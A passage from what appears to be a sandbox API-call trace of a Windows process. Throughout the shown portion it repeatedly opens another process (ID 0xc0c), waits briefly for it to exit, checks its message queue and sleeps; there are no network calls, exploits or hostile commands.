dwMilliseconds=0xa) returned 0x102 [0289.372] CloseHandle (hObject=0x1a54) returned 1 [0289.372] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.372] Sleep (dwMilliseconds=0x1) [0289.388] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1a54 [0289.388] WaitForSingleObject (hHandle=0x1a54, dwMilliseconds=0xa) returned 0x102 [0289.404] CloseHandle (hObject=0x1a54) returned 1 [0289.404] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.404] Sleep (dwMilliseconds=0x1) [0289.422] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1a6c [0289.422] WaitForSingleObject (hHandle=0x1a6c, dwMilliseconds=0xa) returned 0x102 [0289.435] CloseHandle (hObject=0x1a6c) returned 1 [0289.435] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.435] Sleep (dwMilliseconds=0x1) [0289.450] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1a6c [0289.450] WaitForSingleObject (hHandle=0x1a6c, dwMilliseconds=0xa) returned 0x102 [0289.466] CloseHandle (hObject=0x1a6c) returned 1 [0289.466] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.466] Sleep (dwMilliseconds=0x1) [0289.483] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1a6c [0289.483] WaitForSingleObject (hHandle=0x1a6c, dwMilliseconds=0xa) returned 0x102 [0289.497] CloseHandle (hObject=0x1a6c) returned 1 [0289.497] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.497] Sleep (dwMilliseconds=0x1) [0289.517] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1a8c [0289.517] WaitForSingleObject (hHandle=0x1a8c, dwMilliseconds=0xa) returned 0x102 [0289.533] CloseHandle (hObject=0x1a8c) returned 1 [0289.533] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.533] Sleep (dwMilliseconds=0x1) [0289.543] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1ac4 [0289.543] WaitForSingleObject (hHandle=0x1ac4, dwMilliseconds=0xa) returned 0x102 [0289.560] CloseHandle (hObject=0x1ac4) returned 1 [0289.560] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.560] Sleep (dwMilliseconds=0x1) [0289.577] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1b04 [0289.577] WaitForSingleObject (hHandle=0x1b04, dwMilliseconds=0xa) returned 0x102 [0289.592] CloseHandle (hObject=0x1b04) returned 1 [0289.592] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.592] Sleep (dwMilliseconds=0x1) [0289.607] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1b58 [0289.607] WaitForSingleObject (hHandle=0x1b58, dwMilliseconds=0xa) returned 0x102 [0289.625] CloseHandle (hObject=0x1b58) returned 1 [0289.625] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.625] Sleep (dwMilliseconds=0x1) [0289.640] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1b84 [0289.640] WaitForSingleObject (hHandle=0x1b84, dwMilliseconds=0xa) returned 0x102 [0289.654] CloseHandle (hObject=0x1b84) returned 1 [0289.654] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.654] Sleep (dwMilliseconds=0x1) [0289.669] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1bc8 [0289.669] WaitForSingleObject (hHandle=0x1bc8, dwMilliseconds=0xa) returned 0x102 [0289.685] CloseHandle (hObject=0x1bc8) returned 1 [0289.685] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.685] Sleep (dwMilliseconds=0x1) [0289.700] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1bc8 [0289.700] WaitForSingleObject (hHandle=0x1bc8, dwMilliseconds=0xa) returned 0x102 [0289.721] CloseHandle (hObject=0x1bc8) returned 1 [0289.721] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.721] Sleep (dwMilliseconds=0x1) [0289.731] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1bc8 [0289.732] WaitForSingleObject (hHandle=0x1bc8, dwMilliseconds=0xa) returned 0x102 [0289.747] CloseHandle (hObject=0x1bc8) returned 1 [0289.747] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.747] Sleep (dwMilliseconds=0x1) [0289.772] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1bc8 [0289.772] WaitForSingleObject (hHandle=0x1bc8, dwMilliseconds=0xa) returned 0x102 [0289.780] CloseHandle (hObject=0x1bc8) returned 1 [0289.780] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.780] Sleep (dwMilliseconds=0x1) [0289.796] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1c34 [0289.796] WaitForSingleObject (hHandle=0x1c34, dwMilliseconds=0xa) returned 0x102 [0289.811] CloseHandle (hObject=0x1c34) returned 1 [0289.811] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.811] Sleep (dwMilliseconds=0x1) [0289.829] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1c88 [0289.829] WaitForSingleObject (hHandle=0x1c88, dwMilliseconds=0xa) returned 0x102 [0289.843] CloseHandle (hObject=0x1c88) returned 1 [0289.843] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.843] Sleep (dwMilliseconds=0x1) [0289.860] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1cd0 [0289.860] WaitForSingleObject (hHandle=0x1cd0, dwMilliseconds=0xa) returned 0x102 [0289.875] CloseHandle (hObject=0x1cd0) returned 1 [0289.875] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.875] Sleep (dwMilliseconds=0x1) [0289.888] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1d30 [0289.888] WaitForSingleObject (hHandle=0x1d30, dwMilliseconds=0xa) returned 0x102 [0289.904] CloseHandle (hObject=0x1d30) returned 1 [0289.904] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.904] Sleep (dwMilliseconds=0x1) [0289.919] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1d54 [0289.920] WaitForSingleObject (hHandle=0x1d54, dwMilliseconds=0xa) returned 0x102 [0289.935] CloseHandle (hObject=0x1d54) returned 1 [0289.935] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.935] Sleep (dwMilliseconds=0x1) [0289.950] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1d54 [0289.950] WaitForSingleObject (hHandle=0x1d54, dwMilliseconds=0xa) returned 0x102 [0289.966] CloseHandle (hObject=0x1d54) returned 1 [0289.966] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.966] Sleep (dwMilliseconds=0x1) [0289.982] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1d5c [0289.982] WaitForSingleObject (hHandle=0x1d5c, dwMilliseconds=0xa) returned 0x102 [0290.012] CloseHandle (hObject=0x1d5c) returned 1 [0290.012] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.012] Sleep (dwMilliseconds=0x1) [0290.032] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1da0 [0290.032] WaitForSingleObject (hHandle=0x1da0, dwMilliseconds=0xa) returned 0x102 [0290.045] CloseHandle (hObject=0x1da0) returned 1 [0290.045] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.045] Sleep (dwMilliseconds=0x1) [0290.064] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1de0 [0290.064] WaitForSingleObject (hHandle=0x1de0, dwMilliseconds=0xa) returned 0x102 [0290.076] CloseHandle (hObject=0x1de0) returned 1 [0290.076] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.076] Sleep (dwMilliseconds=0x1) [0290.102] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1e10 [0290.102] WaitForSingleObject (hHandle=0x1e10, dwMilliseconds=0xa) returned 0x102 [0290.111] CloseHandle (hObject=0x1e10) returned 1 [0290.111] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.111] Sleep (dwMilliseconds=0x1) [0290.134] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1e50 [0290.135] WaitForSingleObject (hHandle=0x1e50, dwMilliseconds=0xa) returned 0x102 [0290.141] CloseHandle (hObject=0x1e50) returned 1 [0290.171] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.171] Sleep (dwMilliseconds=0x1) [0290.195] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1e90 [0290.195] WaitForSingleObject (hHandle=0x1e90, dwMilliseconds=0xa) returned 0x102 [0290.203] CloseHandle (hObject=0x1e90) returned 1 [0290.203] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.203] Sleep (dwMilliseconds=0x1) [0290.224] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1ed4 [0290.224] WaitForSingleObject (hHandle=0x1ed4, dwMilliseconds=0xa) returned 0x102 [0290.232] CloseHandle (hObject=0x1ed4) returned 1 [0290.232] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.232] Sleep (dwMilliseconds=0x1) [0290.256] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1f14 [0290.256] WaitForSingleObject (hHandle=0x1f14, dwMilliseconds=0xa) returned 0x102 [0290.269] CloseHandle (hObject=0x1f14) returned 1 [0290.269] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.269] Sleep (dwMilliseconds=0x1) [0290.279] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1f30 [0290.279] WaitForSingleObject (hHandle=0x1f30, dwMilliseconds=0xa) returned 0x102 [0290.294] CloseHandle (hObject=0x1f30) returned 1 [0290.294] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.294] Sleep (dwMilliseconds=0x1) [0290.312] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1f44 [0290.312] WaitForSingleObject (hHandle=0x1f44, dwMilliseconds=0xa) returned 0x102 [0290.326] CloseHandle (hObject=0x1f44) returned 1 [0290.326] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.326] Sleep (dwMilliseconds=0x1) [0290.345] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1fd8 [0290.345] WaitForSingleObject (hHandle=0x1fd8, dwMilliseconds=0xa) returned 0x102 [0290.364] CloseHandle (hObject=0x1fd8) returned 1 [0290.364] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.364] Sleep (dwMilliseconds=0x1) [0290.381] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x205c [0290.381] WaitForSingleObject (hHandle=0x205c, dwMilliseconds=0xa) returned 0x102 [0290.398] CloseHandle (hObject=0x205c) returned 1 [0290.398] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.398] Sleep (dwMilliseconds=0x1) [0290.408] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2084 [0290.408] WaitForSingleObject (hHandle=0x2084, dwMilliseconds=0xa) returned 0x102 [0290.419] CloseHandle (hObject=0x2084) returned 1 [0290.419] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.419] Sleep (dwMilliseconds=0x1) [0290.441] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x20ac [0290.441] WaitForSingleObject (hHandle=0x20ac, dwMilliseconds=0xa) returned 0x102 [0290.455] CloseHandle (hObject=0x20ac) returned 1 [0290.455] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.455] Sleep (dwMilliseconds=0x1) [0290.466] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x20d4 [0290.466] WaitForSingleObject (hHandle=0x20d4, dwMilliseconds=0xa) returned 0x102 [0290.482] CloseHandle (hObject=0x20d4) returned 1 [0290.482] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.482] Sleep (dwMilliseconds=0x1) [0290.497] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x20e0 [0290.497] WaitForSingleObject (hHandle=0x20e0, dwMilliseconds=0xa) returned 0x102 [0290.513] CloseHandle (hObject=0x20e0) returned 1 [0290.513] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.513] Sleep (dwMilliseconds=0x1) [0290.537] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x20f0 [0290.537] WaitForSingleObject (hHandle=0x20f0, dwMilliseconds=0xa) returned 0x102 [0290.544] CloseHandle (hObject=0x20f0) returned 1 [0290.544] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.544] Sleep (dwMilliseconds=0x1) [0290.564] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2134 [0290.564] WaitForSingleObject (hHandle=0x2134, dwMilliseconds=0xa) returned 0x102 [0290.576] CloseHandle (hObject=0x2134) returned 1 [0290.576] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.576] Sleep (dwMilliseconds=0x1) [0290.591] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2134 [0290.591] WaitForSingleObject (hHandle=0x2134, dwMilliseconds=0xa) returned 0x102 [0290.607] CloseHandle (hObject=0x2134) returned 1 [0290.607] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.607] Sleep (dwMilliseconds=0x1) [0290.622] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2134 [0290.622] WaitForSingleObject (hHandle=0x2134, dwMilliseconds=0xa) returned 0x102 [0290.639] CloseHandle (hObject=0x2134) returned 1 [0290.639] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.639] Sleep (dwMilliseconds=0x1) [0290.659] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x21a4 [0290.659] WaitForSingleObject (hHandle=0x21a4, dwMilliseconds=0xa) returned 0x102 [0290.669] CloseHandle (hObject=0x21a4) returned 1 [0290.669] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.669] Sleep (dwMilliseconds=0x1) [0290.689] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x21c8 [0290.689] WaitForSingleObject (hHandle=0x21c8, dwMilliseconds=0xa) returned 0x102 [0290.702] CloseHandle (hObject=0x21c8) returned 1 [0290.702] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.702] Sleep (dwMilliseconds=0x1) [0290.716] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x21f8 [0290.716] WaitForSingleObject (hHandle=0x21f8, dwMilliseconds=0xa) returned 0x102 [0290.732] CloseHandle (hObject=0x21f8) returned 1 [0290.732] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.732] Sleep (dwMilliseconds=0x1) [0290.754] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x222c [0290.754] WaitForSingleObject (hHandle=0x222c, dwMilliseconds=0xa) returned 0x102 [0290.775] CloseHandle (hObject=0x222c) returned 1 [0290.775] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.775] Sleep (dwMilliseconds=0x1) [0290.786] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x224c [0290.786] WaitForSingleObject (hHandle=0x224c, dwMilliseconds=0xa) returned 0x102 [0290.799] CloseHandle (hObject=0x224c) returned 1 [0290.799] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.799] Sleep (dwMilliseconds=0x1) [0290.812] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x228c [0290.812] WaitForSingleObject (hHandle=0x228c, dwMilliseconds=0xa) returned 0x102 [0290.830] CloseHandle (hObject=0x228c) returned 1 [0290.830] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.830] Sleep (dwMilliseconds=0x1) [0290.841] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x22e8 [0290.841] WaitForSingleObject (hHandle=0x22e8, dwMilliseconds=0xa) returned 0x102 [0290.863] CloseHandle (hObject=0x22e8) returned 1 [0290.863] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.863] Sleep (dwMilliseconds=0x1) [0290.877] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2300 [0290.877] WaitForSingleObject (hHandle=0x2300, dwMilliseconds=0xa) returned 0x102 [0290.893] CloseHandle (hObject=0x2300) returned 1 [0290.893] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.893] Sleep (dwMilliseconds=0x1) [0290.905] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2360 [0290.905] WaitForSingleObject (hHandle=0x2360, dwMilliseconds=0xa) returned 0x102 [0290.929] CloseHandle (hObject=0x2360) returned 1 [0290.929] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.929] Sleep (dwMilliseconds=0x1) [0290.939] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x23c8 [0290.939] WaitForSingleObject (hHandle=0x23c8, dwMilliseconds=0xa) returned 0x102 [0290.950] CloseHandle (hObject=0x23c8) returned 1 [0290.950] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.950] Sleep (dwMilliseconds=0x1) [0290.966] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x23c8 [0290.966] WaitForSingleObject (hHandle=0x23c8, dwMilliseconds=0xa) returned 0x102 [0290.983] CloseHandle (hObject=0x23c8) returned 1 [0290.983] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0290.983] Sleep (dwMilliseconds=0x1) [0291.011] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2404 [0291.011] WaitForSingleObject (hHandle=0x2404, dwMilliseconds=0xa) returned 0x102 [0291.021] CloseHandle (hObject=0x2404) returned 1 [0291.021] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.021] Sleep (dwMilliseconds=0x1) [0291.029] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2424 [0291.029] WaitForSingleObject (hHandle=0x2424, dwMilliseconds=0xa) returned 0x102 [0291.044] CloseHandle (hObject=0x2424) returned 1 [0291.044] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.044] Sleep (dwMilliseconds=0x1) [0291.070] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2448 [0291.070] WaitForSingleObject (hHandle=0x2448, dwMilliseconds=0xa) returned 0x102 [0291.081] CloseHandle (hObject=0x2448) returned 1 [0291.081] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.081] Sleep (dwMilliseconds=0x1) [0291.095] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x24c0 [0291.095] WaitForSingleObject (hHandle=0x24c0, dwMilliseconds=0xa) returned 0x102 [0291.110] CloseHandle (hObject=0x24c0) returned 1 [0291.110] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.110] Sleep (dwMilliseconds=0x1) [0291.124] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x250c [0291.124] WaitForSingleObject (hHandle=0x250c, dwMilliseconds=0xa) returned 0x102 [0291.138] CloseHandle (hObject=0x250c) returned 1 [0291.138] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.138] Sleep (dwMilliseconds=0x1) [0291.155] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x252c [0291.155] WaitForSingleObject (hHandle=0x252c, dwMilliseconds=0xa) returned 0x102 [0291.170] CloseHandle (hObject=0x252c) returned 1 [0291.170] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.170] Sleep (dwMilliseconds=0x1) [0291.186] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x2574 [0291.186] WaitForSingleObject (hHandle=0x2574, dwMilliseconds=0xa) returned 0x102 [0291.201] CloseHandle (hObject=0x2574) returned 1 [0291.201] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0291.201] Sleep (dwMilliseconds=0x1) [0291.218] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x258c [0291.218] WaitForSingleObject (hHandle=0x258c, 